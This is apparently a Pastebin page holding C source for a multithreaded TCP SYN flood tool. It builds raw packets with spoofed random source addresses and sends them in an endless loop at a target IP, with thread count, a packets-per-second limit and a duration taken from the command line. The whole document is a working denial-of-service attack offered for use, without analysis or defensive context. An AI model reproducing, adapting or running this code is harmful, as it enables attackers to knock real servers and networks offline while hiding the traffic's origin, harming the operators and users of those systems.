Advertisement
xttpx

issyn

Jul 10th, 2017
12,253
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.52 KB | None | 0 0
  1. #include <pthread.h>
  2. #include <unistd.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <sys/socket.h>
  7. #include <netinet/ip.h>
  8. #include <netinet/tcp.h>
  9. #include <time.h>
  10. #define MAX_PACKET_SIZE 4096
  11. #define PHI 0x9e3779b9
  12. static unsigned long int Q[4096], c = 362436;
  13. volatile int limiter;
  14. volatile unsigned int pps;
  15. volatile unsigned int sleeptime = 100;
  16.  
  17. void init_rand(unsigned long int x)
  18. {
  19.         int i;
  20.         Q[0] = x;
  21.         Q[1] = x + PHI;
  22.         Q[2] = x + PHI + PHI;
  23.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  24. }
  25. unsigned long int rand_cmwc(void)
  26. {
  27.         unsigned long long int t, a = 18782LL;
  28.         static unsigned long int i = 4095;
  29.         unsigned long int x, r = 0xfffffffe;
  30.         i = (i + 1) & 4095;
  31.         t = a * Q[i] + c;
  32.         c = (t >> 32);
  33.         x = t + c;
  34.         if (x < c) {
  35.                 x++;
  36.                 c++;
  37.         }
  38.         return (Q[i] = r - x);
  39. }
  40. unsigned short csum (unsigned short *buf, int count)
  41. {
  42.         register unsigned long sum = 0;
  43.         while( count > 1 ) { sum += *buf++; count -= 2; }
  44.         if(count > 0) { sum += *(unsigned char *)buf; }
  45.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  46.         return (unsigned short)(~sum);
  47. }
  48.  
  49. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  50.  
  51.         struct tcp_pseudo
  52.         {
  53.                 unsigned long src_addr;
  54.                 unsigned long dst_addr;
  55.                 unsigned char zero;
  56.                 unsigned char proto;
  57.                 unsigned short length;
  58.         } pseudohead;
  59.         unsigned short total_len = iph->tot_len;
  60.         pseudohead.src_addr=iph->saddr;
  61.         pseudohead.dst_addr=iph->daddr;
  62.         pseudohead.zero=0;
  63.         pseudohead.proto=IPPROTO_TCP;
  64.         pseudohead.length=htons(sizeof(struct tcphdr));
  65.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  66.         unsigned short *tcp = malloc(totaltcp_len);
  67.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  68.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  69.         unsigned short output = csum(tcp,totaltcp_len);
  70.         free(tcp);
  71.         return output;
  72. }
  73.  
  74. void setup_ip_header(struct iphdr *iph)
  75. {
  76.         char ip[17];
  77.         snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
  78.         iph->ihl = 5;
  79.         iph->version = 4;
  80.         iph->tos = 0;
  81.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  82.         iph->id = htonl(rand()%54321);
  83.         iph->frag_off = 0;
  84.         iph->ttl = MAXTTL;
  85.         iph->protocol = 6;
  86.         iph->check = 0;
  87.         iph->saddr = inet_addr(ip);
  88. }
  89.  
  90. void setup_tcp_header(struct tcphdr *tcph)
  91. {
  92.         tcph->source = htons(rand()%65535);
  93.         tcph->seq = rand();
  94.         tcph->ack_seq = 0;
  95.         tcph->res1 = 0;
  96.         tcph->res2 = 0;
  97.         tcph->doff = 5;
  98.         tcph->psh = 0;
  99.         tcph->syn = 1;
  100.         tcph->window = htons(65535);
  101.         tcph->check = 0;
  102.         tcph->urg_ptr = 0;
  103. }
  104.  
  105. void *flood(void *par1)
  106. {
  107.     char *td = (char *)par1;
  108.     char datagram[MAX_PACKET_SIZE];
  109.     struct iphdr *iph = (struct iphdr *)datagram;
  110.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  111.    
  112.     struct sockaddr_in sin;
  113.     sin.sin_family = AF_INET;
  114.     sin.sin_port = htons(rand()%54321);
  115.     sin.sin_addr.s_addr = inet_addr(td);
  116.  
  117.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  118.     if(s < 0){
  119.             fprintf(stderr, "Could not open raw socket.\n");
  120.             exit(-1);
  121.     }
  122.     memset(datagram, 0, MAX_PACKET_SIZE);
  123.     setup_ip_header(iph);
  124.     setup_tcp_header(tcph);
  125.     tcph->dest = htons(rand()%54321);
  126.     iph->daddr = sin.sin_addr.s_addr;
  127.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  128.     int tmp = 1;
  129.     const int *val = &tmp;
  130.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  131.             fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  132.             exit(-1);
  133.     }
  134.     init_rand(time(NULL));
  135.     register unsigned int i;
  136.     i = 0;
  137.     int psh = 0;
  138.     int res1 = 0;
  139.     int res2 = 0;
  140.     while(1)
  141.     {
  142.         if(psh > 1) psh = 1;
  143.         if(res1 > 4) res1 = 0;
  144.         if(res2 > 3) res2 = 0;
  145.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  146.         setup_ip_header(iph);
  147.         setup_tcp_header(tcph);
  148.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  149.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  150.         tcph->dest = htons(rand()%65535);
  151.         iph->daddr = sin.sin_addr.s_addr;
  152.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  153.         tcph->seq = rand_cmwc() & 0xFFFF;
  154.         tcph->source = htons(rand_cmwc() & 0xFFFF);
  155.         tcph->ack_seq = 1;
  156.         tcph->psh = psh;
  157.         tcph->res1 = res1;
  158.         tcph->res2 = res2;
  159.         tcph->check = 0;
  160.         tcph->check = tcpcsum(iph, tcph);
  161.         pps++;
  162.         psh++;
  163.         res1++;
  164.         res2++;
  165.         if(i >= limiter)
  166.         {
  167.                 i = 0;
  168.                 usleep(sleeptime);
  169.         }
  170.         i++;
  171.     }
  172. }
  173. int main(int argc, char *argv[ ])
  174. {
  175.         if(argc < 5){
  176.                 fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  177.                 exit(-1);
  178.         }
  179.         srand(time(0));
  180.         int num_threads = atoi(argv[2]);
  181.         int maxpps = atoi(argv[3]);
  182.         limiter = 0;
  183.         pps = 0;
  184.         pthread_t thread[num_threads];  
  185.         int multiplier = 20;
  186.         int i;
  187.         fprintf(stderr, "Start flooding ...\n", argv[1]);
  188.         for(i = 0;i<num_threads;i++){
  189.                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  190.         }
  191.         fprintf(stderr, "Flooding: %s\n", argv[1]);
  192.         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  193.         {
  194.                 usleep((1000/multiplier)*1000);
  195.                 if((pps*multiplier) > maxpps)
  196.                 {
  197.                         if(1 > limiter)
  198.                         {
  199.                                 sleeptime+=100;
  200.                         } else {
  201.                                 limiter--;
  202.                         }
  203.                 } else {
  204.                         limiter++;
  205.                         if(sleeptime > 25)
  206.                         {
  207.                                 sleeptime-=25;
  208.                         } else {
  209.                                 sleeptime = 0;
  210.                         }
  211.                 }
  212.                 pps = 0;
  213.         }
  214.  
  215.         return 0;
  216. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement